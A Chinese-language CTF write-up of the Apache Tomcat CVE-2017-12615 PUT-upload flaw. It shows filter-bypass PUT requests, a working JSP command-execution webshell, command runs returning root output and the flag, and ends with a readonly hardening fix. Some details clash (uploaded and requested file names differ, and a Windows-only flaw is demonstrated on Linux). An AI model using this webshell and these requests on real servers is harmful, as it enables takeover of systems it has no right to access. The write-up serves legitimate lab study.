1、漏洞描述
CVE-2017-12615 是 Apache Tomcat 的一个高危远程代码执行漏洞。攻击者通过构造特殊的 HTTP PUT 请求,可以向服务器上传恶意的 JSP 文件,进而执行任意代码,完全控制服务器。
2、🎯 漏洞发生的必要条件
要触发该漏洞,需要同时满足以下三个条件:
- 受影响版本:Apache Tomcat 7.0.0 至 7.0.79。
- 操作系统:运行在 Windows 系统上。
- 关键配置:
conf/web.xml中DefaultServlet的readonly初始化参数被显式设置为了false(该参数默认值为true)。
3、解题
虽然 Tomcat 本身有校验机制试图阻止上传 .jsp 等危险脚本文件,但攻击者可以利用 Windows 文件系统的特性来绕过这一限制。
常见的绕过手法包括在文件名后添加特殊后缀,例如 test.jsp::$DATA(Windows NTFS 数据流特性)或 test.jsp/(Linux 下路径解析特性,但此 CVE 主要针对 Windows)。服务器在接收请求后,会解析并保存为有效的 .jsp 文件。一旦攻击者访问这个上传的 JSP 文件,其中的恶意代码就会被服务器执行。
首先,我们尝试通过PUT方法上传一个1.jsp文件,看看是否能够上传成功
PUT /1.jsp HTTP/1.1 Host: localhost:32506 Accept-Language: zh-CN,zh;q=0.9 hello
结果返回404了,所以我们可以尝试使用某些手段来绕过禁止上传文件,经过验证
PUT /1.jsp::DATA HTTP/1.1 Host: localhost:32506 Accept-Language: zh-CN,zh;q=0.9 hello 和 PUT /1.jsp/ HTTP/1.1 Host: localhost:32506 Accept-Language: zh-CN,zh;q=0.9 hello
都能够绕过去,所以我们可以上传一些危险的可执行的代码
PUT /java.jsp/ HTTP/1.1
Host: localhost:32506
Content-Length: 234
<%
java.io.InputStream is = Runtime.getRuntime()
.exec(request.getParameter("command"))
.getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = is.read(b)) != -1) {
out.print(new String(b,0,a));
}
%>
尝试上传的代码是否能够正确执行
GET /java4.jsp?command=id HTTP/1.1 Host: localhost:32506 Content-Length: 8 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=9B531CE364D2A048E66693AEA281020F; Path=/; HttpOnly uid=0(root) gid=0(root) groups=0(root)
执行成功,所以我们可以直接搜寻flag
GET /java4.jsp?command=find%20/%20-name%20flag* HTTP/1.1
Host: localhost:32506
Content-Length: 8
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=6C1986030B1B904298F91837B62A00C5; Path=/; HttpOnly
/tmp/flag-{bmh7a4df8e4-246e-4164-b5f7-0a75e30121ac}
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.3/tty/ttyS3/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.1/tty/ttyS1/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.6/tty/ttyS6/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.4/tty/ttyS4/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.2/tty/ttyS2/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.0/tty/ttyS0/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.7/tty/ttyS7/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.5/tty/ttyS5/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
4、安全加固
定位到 DefaultServlet 的配置段落,把 readonly 的值改为 true。
# 使用 sed 快速修改(如果存在 readonly 参数) sed -i 's/<param-value>false<\/param-value>/<param-value>true<\/param-value>/' /usr/local/tomcat/conf/web.xml # 或者用 grep 确认修改是否成功 grep -A 2 "readonly" /usr/local/tomcat/conf/web.xml
评论区
评论加载中...